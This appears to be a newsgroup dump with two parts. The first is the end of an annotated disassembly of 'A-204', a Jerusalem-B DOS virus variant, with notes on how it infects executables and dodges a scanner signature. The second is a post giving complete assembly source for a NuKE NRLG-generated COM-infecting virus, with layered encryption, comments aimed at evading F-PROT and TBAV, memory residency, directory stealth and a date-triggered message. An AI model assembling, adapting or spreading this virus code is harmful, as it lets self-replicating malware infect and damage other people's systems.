0423 B8 00 4B MOV AX,04B00

0426 9D POPF ; Get Flags
0427 2E FF 2E 17 00 CS JMP D[017]

; We come here each time a
; file is loaded with the
; load and execute call
; (INT 21h, AX=4B00h)
042C 2E 80 3E 0E 00 01 CS CMP B[0E],1 ; Is it Friday 13th,
; year<>1987?
0432 74 E4 JE 0418 ; Yes: -> 0418h
0434 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle -1 ???
043B 2E C7 06 8F 00 00 00 CS MOV W[08F],0 ; Clear Memory-Available
; variable
0442 2E 89 16 80 00 CS MOV W[080],DX ; DS:DX -> ASCIZ Filename,
0447 2E 8C 1E 82 00 CS MOV W[082],DS ; Store DX and DS
044C 50 PUSH AX
044D 53 PUSH BX
044E 51 PUSH CX
044F 52 PUSH DX
0450 56 PUSH SI
0451 57 PUSH DI
0452 1E PUSH DS
0453 06 PUSH ES
0454 FC CLD
0455 8B FA MOV DI,DX ;
0457 32 D2 XOR DL,DL ; DL=00h : Take Default Drive
0459 80 7D 01 3A CMP B[DI+1],03A ; ':' at 2nd place in ASCIZ-
; filename
045D 75 05 JNE 0464 ; No: -> 0464h
045F 8A 15 MOV DL,B[DI] ; Get Drive Letter
0461 80 E2 1F AND DL,01F ; Get Drive Code
; 0 = Default
; 1 = A
; 2 = B, etc.
0464 B4 36 MOV AH,036 ;
0466 CD 21 INT 021 ; Get disk space
; BX=# of available clusters
; CX=Bytes per sector
; DX=Total clusters

0468 3D FF FF CMP AX,-1 ; No Sectors Free?
046B 75 03 JNE 0470 ; No: -> 0470h
046D E9 77 02 JMP 06E7 ; Yes: -> 06E7h


0470 F7 E3 MUL BX ; Calculate Free Space
0472 F7 E1 MUL CX ;
0474 0B D2 OR DX,DX ;
0476 75 05 JNE 047D ;
0478 3D 10 07 CMP AX,0710 ; 1808 Bytes Free?
047B 72 F0 JB 046D ; No: -> 046Dh
047D 2E 8B 16 80 00 CS MOV DX,W[080] ; Restore DX's ASCIZ Filename
0482 1E PUSH DS
0483 07 POP ES
0484 32 C0 XOR AL,AL ; AL=00h
0486 B9 41 00 MOV CX,041 ;
0489 F2 AE REPNE SCASB ; Check if filename
048B 2E 8B 36 80 00 CS MOV SI,W[080] ; is in UPPERCASE
0490 8A 04 MOV AL,B[SI] ;
0492 0A C0 OR AL,AL ; All UPPERRCASE?
0494 74 0E JE 04A4 ; IF so: -> 04A4h
0496 3C 61 CMP AL,061 ; AL<'a' ?
0498 72 07 JB 04A1 ; Yes: -> 04A1h
049A 3C 7A CMP AL,07A ; AL>'z' ?
049C 77 03 JA 04A1 ; Yes: -> 04A1h
049E 80 2C 20 SUB B[SI],020 ; Transfer filename
; into UPPERCASE
04A1 46 INC SI ; SI=SI+1
04A2 EB EC JMP 0490

04A4 B9 0B 00 MOV CX,0B ; CX=0Bh
04A7 2B F1 SUB SI,CX ; Return SI to start
; of Filename
04A9 BF 84 00 MOV DI,084 ; Start of COMMAND.COM
; filename
04AC 0E PUSH CS
04AD 07 POP ES
04AE B9 0B 00 MOV CX,0B
04B1 F3 A6 REPE CMPSB ; Filename=COMMAND.COM ?
04B3 75 03 JNE 04B8 ; No: -> 04B8h
04B5 E9 2F 02 JMP 06E7 ; Yes: -> 06E7h

; We come here if the
; loaded program is not
; COMMAND.COM
04B8 B8 00 43 MOV AX,04300 ;
04BB CD 21 INT 021 ; Get File Attributes

04BD 72 05 JB 04C4 ; If Error: -> 04C4h
04BF 2E 89 0E 72 00 CS MOV W[072],CX ; Store File Attributes
04C4 72 25 JB 04EB ; If Error: -> 04EBh
04C6 32 C0 XOR AL,AL ; AL=00h
04C8 2E A2 4E 00 CS MOV B[04E],AL ; Dummy=0
04CC 1E PUSH DS ;
04CD 07 POP ES ;
04CE 8B FA MOV DI,DX ;
04D0 B9 41 00 MOV CX,041 ;
04D3 F2 AE REPNE SCASB ;
04D5 80 7D FE 4D CMP B[DI-2],04D ; "M" ?
04D9 74 0B JE 04E6 ; Yes: -> 04E6h
04DB 80 7D FE 6D CMP B[DI-2],06D ; "m" ?
04DF 74 05 JE 04E6 ; Yes: -> 04E6h
04E1 2E FE 06 4E 00 CS INC B[04E] ; Dummy=Dummy+1
04E6 B8 00 3D MOV AX,03D00 ; Open Disk File with
04E9 CD 21 INT 021 ; handle in compatibility
; mode
; DS:DX : -> ASCIZ Filename

04EB 72 5A JB 0547 ; IF Error: -> 0547h
04ED 2E A3 70 00 CS MOV W[070],AX ; Store File Handle
04F1 8B D8 MOV BX,AX ; BX=File Handle
04F3 B8 02 42 MOV AX,04202 ; Move File Read/Write
; Pointer (LSEEK) with
; offset from end of file
04F6 B9 FF FF MOV CX,-1 ; CX:DX = offset in bytes
04F9 BA FB FF MOV DX,-5 ;
04FC CD 21 INT 021 ;
; DX:AX = new absolute
; offset from beginning of
; file

04FE 72 EB JB 04EB ; If Error: -> 04EBh
0500 05 05 00 ADD AX,5 ; ????
0503 2E A3 11 00 CS MOV W[011],AX ; Store Length of File

0507 B9 05 00 MOV CX,5 ; Read from a file with
050A BA 6B 00 MOV DX,06B ; handle BX 5h bytes into
050D 8C C8 MOV AX,CS ; DS:DX buffer
050F 8E D8 MOV DS,AX ;
0511 8E C0 MOV ES,AX ;
0513 B4 3F MOV AH,03F ;
0515 CD 21 INT 021 ;

0517 8B FA MOV DI,DX ; DI=DX=6Bh
0519 BE 05 00 MOV SI,5 ; SI=05h
051C F3 A6 REPE CMPSB ; Check first 5 bytes to see
; if a file already is
; infected
051E 75 07 JNE 0527 ; If not: -> 0527h
0520 B4 3E MOV AH,03E ; Close a file with
0522 CD 21 INT 021 ; handle

0524 E9 C0 01 JMP 06E7 ; Jump -> 06E7h

0527 B8 24 35 MOV AX,03524 ; Get original int 24h
052A CD 21 INT 021 ; vector. Stored in ES:BX

052C 89 1E 1B 00 MOV W[01B],BX ; Store BX of INT 24h vector
0530 8C 06 1D 00 MOV W[01D],ES ; Store ES of INT 24h vector
0534 BA 1B 02 MOV DX,021B ; Set new int 24h vector
0537 B8 24 25 MOV AX,02524 ; to DS:DX
053A CD 21 INT 021 ;

053C C5 16 80 00 LDS DX,[080] ; DS:DX=Filename
0540 33 C9 XOR CX,CX ; Get fileattributes
0542 B8 01 43 MOV AX,04301 ; Put File Attributes
0545 CD 21 INT 021 ; (CHMOD)

0547 72 3B JB 0584 ; If Error: -> 0584h
0549 2E 8B 1E 70 00 CS MOV BX,W[070] ; Close a file with
054E B4 3E MOV AH,03E ; handle BX
0550 CD 21 INT 021 ;

0552 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle=-1 ???
0559 B8 02 3D MOV AX,03D02 ; Open File with
055C CD 21 INT 021 ; Handle in READ/WRITE mode

055E 72 24 JB 0584 ; If Error: -> 0584h
0560 2E A3 70 00 CS MOV W[070],AX ; Store File Handle
0564 8C C8 MOV AX,CS
0566 8E D8 MOV DS,AX
0568 8E C0 MOV ES,AX

056A 8B 1E 70 00 MOV BX,W[070] ; BX=File Handle
056E B8 00 57 MOV AX,05700 ; Get File' date/time-
0571 CD 21 INT 021 ; stamp

0573 89 16 74 00 MOV W[074],DX ; Move File Read/Write Pointer
0577 89 0E 76 00 MOV W[076],CX ; (LSEEK) with offset from
057B B8 00 42 MOV AX,04200 ; beginning of file with
057E 33 C9 XOR CX,CX ; CX:DX bytes
0580 8B D1 MOV DX,CX ;
0582 CD 21 INT 021 ;

0584 72 3D JB 05C3 ; If Error: -> 05C3h
0586 80 3E 4E 00 00 CMP B[04E],0 ; '0'?
058B 74 03 JE 0590 ; Yes: -> 0590h
058D EB 57 JMP 05E6 ; JUMP -> 05E6h

058F 90 NOP

0590 BB 00 10 MOV BX,01000 ; Number of 16d-byte para-
; graphs BX=1000h For COM-
; files there are 1000h 16d
; bytes paragrahs available
0593 B4 48 MOV AH,048 ;
0595 CD 21 INT 021 ; Allocate Memory

0597 73 0B JAE 05A4 ; If enough memory available
; -> 05A4h
0599 B4 3E MOV AH,03E ; Close a file with
059B 8B 1E 70 00 MOV BX,W[070] ; handle BX
059F CD 21 INT 021 ;

05A1 E9 43 01 JMP 06E7 ; JUMP -> 06E7h

05A4 FF 06 8F 00 INC W[08F] ; Set Memory-Available
; Variable (0001h)
05A8 8E C0 MOV ES,AX ;
05AA 33 F6 XOR SI,SI ; SI=0000h
05AC 8B FE MOV DI,SI ; DI=0000h
05AE B9 10 07 MOV CX,0710 ; CX=0710h (1808d)
; length of virus
05B1 F3 A4 REP MOVSB ; Put virus code at begin-
; ning of buffer ES:DI
05B3 8B D7 MOV DX,DI ; DX=DI=0710h
05B5 8B 0E 11 00 MOV CX,W[011] ; Restore Length of File
05B9 8B 1E 70 00 MOV BX,W[070] ; Restore File Handle
05BD 06 PUSH ES ; Read from a file with
05BE 1F POP DS ; handle CX (length
05BF B4 3F MOV AH,03F ; of file) bytes in buffer
05C1 CD 21 INT 021 ; DS:DX

05C3 72 1C JB 05E1 ; If Error: -> 05E1h
05C5 03 F9 ADD DI,CX ; DI=Length of original
; file+0710h (length of
; viruscode)+05h
05C7 33 C9 XOR CX,CX ; CX=0000h
05C9 8B D1 MOV DX,CX ; Move file read/write
05CB B8 00 42 MOV AX,04200 ; pointer with offset from
05CE CD 21 INT 021 ; beginning of file

05D0 BE 05 00 MOV SI,5 ;
05D3 B9 05 00 MOV CX,5 ;
05D6 F3 2E A4 REP CS MOVSB ;
05D9 8B CF MOV CX,DI ; CX=0715h(1813d)+length of
; original code
05DB 33 D2 XOR DX,DX ; DX=0000h
05DD B4 40 MOV AH,040 ; Write to file with handle
05DF CD 21 INT 021 ; CX bytes

05E1 72 0D JB 05F0 ; If Error: -> 05F0h
05E3 E9 BC 00 JMP 06A2 ; JUMP -> 06A2h

05E6 B9 1C 00 MOV CX,01C ; Read CX (1Ch) bytes from
05E9 BA 4F 00 MOV DX,04F ; file with handle
05EC B4 3F MOV AH,03F ;
05EE CD 21 INT 021 ;

05F0 72 4A JB 063C ; If Error: -> 063Ch
05F2 C7 06 61 00 84 19 MOV W[061],01984 ; Store 1984h=6532d
05F8 A1 5D 00 MOV AX,W[05D] ;
05FB A3 45 00 MOV W[045],AX ;
05FE A1 5F 00 MOV AX,W[05F] ;
0601 A3 43 00 MOV W[043],AX ;
0604 A1 63 00 MOV AX,W[063] ;
0607 A3 47 00 MOV W[047],AX ;
060A A1 65 00 MOV AX,W[065] ;
060D A3 49 00 MOV W[049],AX ;
0610 A1 53 00 MOV AX,W[053] ;
0613 83 3E 51 00 00 CMP W[051],0 ; '0000'?
0618 74 01 JE 061B ; Yes: -> 061Bh
061A 48 DEC AX ; AX=AX-01h
061B F7 26 78 00 MUL W[078] ;
061F 03 06 51 00 ADD AX,W[051] ;
0623 83 D2 00 ADC DX,0 ;
0626 05 0F 00 ADD AX,0F ;
0629 83 D2 00 ADC DX,0 ;
062C 25 F0 FF AND AX,-010 ;
062F A3 7C 00 MOV W[07C],AX ; Store AX
0632 89 16 7E 00 MOV W[07E],DX ; Store DX
0636 05 10 07 ADD AX,0710 ; AX=AX+1808
0639 83 D2 00 ADC DX,0 ;
063C 72 3A JB 0678 ; If Error :-> 0678h
063E F7 36 78 00 DIV W[078] ;
0642 0B D2 OR DX,DX ;
0644 74 01 JE 0647 ;
0646 40 INC AX ; AX=AX+01h
0647 A3 53 00 MOV W[053],AX ;
064A 89 16 51 00 MOV W[051],DX ;
064E A1 7C 00 MOV AX,W[07C] ; Restore AX
0651 8B 16 7E 00 MOV DX,W[07E] ; Restore DX
0655 F7 36 7A 00 DIV W[07A] ;
0659 2B 06 57 00 SUB AX,W[057] ;
065D A3 65 00 MOV W[065],AX ;
0660 C7 06 63 00 C5 00 MOV W[063],0C5 ;
0666 A3 5D 00 MOV W[05D],AX ;
0669 C7 06 5F 00 10 07 MOV W[05F],0710 ;
066F 33 C9 XOR CX,CX ; CX=0000h
0671 8B D1 MOV DX,CX ; DX=0000h
0673 B8 00 42 MOV AX,04200 ; Move File Read/Write
0676 CD 21 INT 021 ; pointer to beginning of
; file

0678 72 0A JB 0684 ; If Error: -> 0684h
067A B9 1C 00 MOV CX,01C ; CX=1Ch
067D BA 4F 00 MOV DX,04F ; DX=4Fh
0680 B4 40 MOV AH,040 ; Write to file with
0682 CD 21 INT 021 ; handle

0684 72 11 JB 0697 ; If Error: -> 0697h
0686 3B C1 CMP AX,CX ; Are all bytes written?
0688 75 18 JNE 06A2 ; No: -> 06A2h
068A 8B 16 7C 00 MOV DX,W[07C] ; Restore AX into DX
068E 8B 0E 7E 00 MOV CX,W[07E] ; Restore DX into CX
0692 B8 00 42 MOV AX,04200
0695 CD 21 INT 021

0697 72 09 JB 06A2 ; If Error: -> 06A2h
0699 33 D2 XOR DX,DX ; DX=0000h
069B B9 10 07 MOV CX,0710 ; CX=0710h
069E B4 40 MOV AH,040
06A0 CD 21 INT 021

06A2 2E 83 3E 8F 00 00 CS CMP W[08F],0 ; Not Enough Memory?
06A8 74 04 JE 06AE ; Yes: -> 06AEh
06AA B4 49 MOV AH,049 ; Free memory
06AC CD 21 INT 021 ;

06AE 2E 83 3E 70 00 FF CS CMP W[070],-1
06B4 74 31 JE 06E7
06B6 2E 8B 1E 70 00 CS MOV BX,W[070] ; Restore File Handle
06BB 2E 8B 16 74 00 CS MOV DX,W[074] ; Restore File Date
06C0 2E 8B 0E 76 00 CS MOV CX,W[076] ; Restore File Time
06C5 B8 01 57 MOV AX,05701 ; Set File's Date/Time
06C8 CD 21 INT 021 ; stamp

06CA B4 3E MOV AH,03E ; Close a file with
06CC CD 21 INT 021 ; handle

06CE 2E C5 16 80 00 CS LDS DX,[080] ; Get place (DS:DX) of
; filename
06D3 2E 8B 0E 72 00 CS MOV CX,W[072] ; Restore File Attributes
06D8 B8 01 43 MOV AX,04301 ; Put File Attributes
06DB CD 21 INT 021 ;

06DD 2E C5 16 1B 00 CS LDS DX,[01B] ; Restore original vector
06E2 B8 24 25 MOV AX,02524 ; of interrupt 24h
06E5 CD 21 INT 021 ;

06E7 07 POP ES ; Restore Registers
06E8 1F POP DS
06E9 5F POP DI
06EA 5E POP SI
06EB 5A POP DX
06EC 59 POP CX
06ED 5B POP BX
06EE 58 POP AX
06EF 9D POPF ; Restore Flags
06F0 2E FF 2E 17 00 CS JMP D[017] ; Call original INT 21h
; address which was intercep-
; ted with the LOAD & EXEC.
; statement. Which means it
; will load and execute the
; selected file

06F5 00 00 00 00 00 00 00 00 00 00 00

0700 4D DE 0C 00 10 00 00 00 00 00 00 00 00 00 00 00

0710 E9 92 00 JMP 07A5 ; JUMP -> 07A5h

0711h til 07A4h are the same definition words/bytes as at 0103h til 0194h

07A5 FC CLD
07A6 B4 E0 MOV AH,0E0
07A8 CD 21 INT 021

07AA 80 FC E0 CMP AH,0E0 ; AH>=E0h?
07AD 73 16 JAE 07C5 ; Yes: -> 07C5h
07AF 80 FC 03 CMP AH,3 ; AH<03h
07B2 72 11 JB 07C5 ; Yes: -> 07C5h
; The only way that the
; code get passed here if
; the virus is active in
; memory. It will return
; AX=0300h then.
07B4 B4 DD MOV AH,0DD
07B6 BF 00 01 MOV DI,0100 ; DI=0100h
07B9 BE 10 07 MOV SI,0710 ; SI=0710h
07BC 03 F7 ADD SI,DI ; SI=0810h
07BE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=Length of file
07C3 CD 21 INT 021

07C5 8C C8 MOV AX,CS ; AX=CS
07C7 05 10 00 ADD AX,010 ; AX=AX+10h
07CA 8E D0 MOV SS,AX ; SS=CS+10h
07CC BC 00 07 MOV SP,0700 ; SP=0700h
07CF 50 PUSH AX ; Store AX
07D0 B8 C5 00 MOV AX,0C5 ; AX=00C5h
07D3 50 PUSH AX ; Store AX
07D4 CB RETF ; RETURN from FAR

07D5 FC CLD ; Clear Direct

; Here the A-204 variant
; differs from the original
; Jerusalem Version B virus
; for the second time.
07D6 2E 8C 06 31 00 CS MOV W[031],ES ; These two lines have
07DB 06 PUSH ES ; been changed in order
; trying to avoid being
; detected by the finger-
; print in the VirScan.Dat
; file. It has not succeeded
; because the strain VirScan
; searches for appears two
; times in the viruscode

07DC 2E 8C 06 39 00 CS MOV W[039],ES ; Store ES
07E1 2E 8C 06 3D 00 CS MOV W[03D],ES ; Store ES
07E6 2E 8C 06 41 00 CS MOV W[041],ES ; Store ES

07EB 8C C0 MOV AX,ES ; AX=ES
07ED 05 10 00 ADD AX,010 ; AX=AX+10h
07F0 2E 01 06 49 00 CS ADD W[049],AX ; Store ES+10h
07F5 2E 01 06 45 00 CS ADD W[045],AX ; Store ES+10h

07FA B4 E0 MOV AH,0E0 ; AH=E0h
07FC CD 21 INT 021 ;

07FE 80 FC E0 CMP AH,0E0 ; AH>=E0?
0801 73 13 JAE 0816 ; Yes: -> 0816h
; This will never happen.
; First of all it would be
; a short jump into the
; original program. Secondly
; is the virus already active
; in memory and will return
; AX=0300h at the INT 21h call
; with AH=E0h
0803 80 FC 03 CMP AH,3 ; AH=03h
0806 07 POP ES ; Restore ES
0807 2E 8E 16 45 00 CS MOV SS,W[045] ; Restore ES+10 into SS
080C 2E 8B 26 43 90 CS MOV SP,W[09043] ;

0810 90 NOP ; Start ofOriginal Program
0811 90 NOP
0812 90 NOP
0813 90 NOP
0814 90 NOP
0815 90 NOP
0816 90 NOP
0817 90 NOP
0818 90 NOP
0819 90 NOP
081A 90 NOP
081B 90 NOP
081C 90 NOP
081D 90 NOP
081E 90 NOP
081F 90 NOP
0820 90 NOP
0821 90 NOP
0822 90 NOP
0823 90 NOP
0824 90 NOP
0825 90 NOP
0826 90 NOP
0827 90 NOP
0828 90 NOP
0829 90 NOP
082A 90 NOP
082B 90 NOP
082C 90 NOP
082D 90 NOP
082E 90 NOP
082F C3 RET ; End of Original Program

0830 2D 32 30 34 2A ; -204*

NOTE: A-204 is a course-code for IAP (Inleiding Apparatuur en Programmatuur,
in English a Prologue in Hardware and Software) at my university. In this
course the PDP-11 Language is being teached. It's my opion, and my opion only,
that this change has been made by a first year student. The IAP-course is
a course for first years students. Only some lines were changed in order to
avoid detection. If the 'author' did know more about the 8086, (s?)he could
have optimized the code. Some pieces can be done much more elegant.

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Тиха украинская ночь, но САЛО надо перепрятать.

John Zaicev

unread,
May 13, 2012, 5:02:39 AM5/13/12
to
[–] ðÒÉ×ÅÔ _All_ !

; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR
; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ
; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR
; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ
; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR
;„€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€…

.286
code segment
assume cs:code,ds:code
org 100h

start: CALL NEXT

NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************

cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------

šsub byte ptr [di],07dh
add byte ptr [di],0d5h
not byte ptr [di]
add byte ptr [di],035h
sub byte ptr [di],022h
not byte ptr [di]
add byte ptr [di],034h
add byte ptr [di],012h
inc byte ptr [di]
sub byte ptr [di],0e8h
add word ptr [di],08522h
xor byte ptr [di],058h
inc word ptr [di]
šinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************

š;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************

mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;

šdec word ptr [di]
xor byte ptr [di],058h
sub word ptr [di],08522h
add byte ptr [di],0e8h
dec byte ptr [di]
sub byte ptr [di],012h
sub byte ptr [di],034h
not byte ptr [di]
add byte ptr [di],022h
sub byte ptr [di],035h
not byte ptr [di]
sub byte ptr [di],0d5h
add byte ptr [di],07dh
šinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag

;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?

š;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------


PAO:
DB 10,13,'you are infected with john virus ver 1.0a','$'

;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus
size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************

šaction_dia Db 08H ;day for the action
action_mes Db 04H ;month for the action
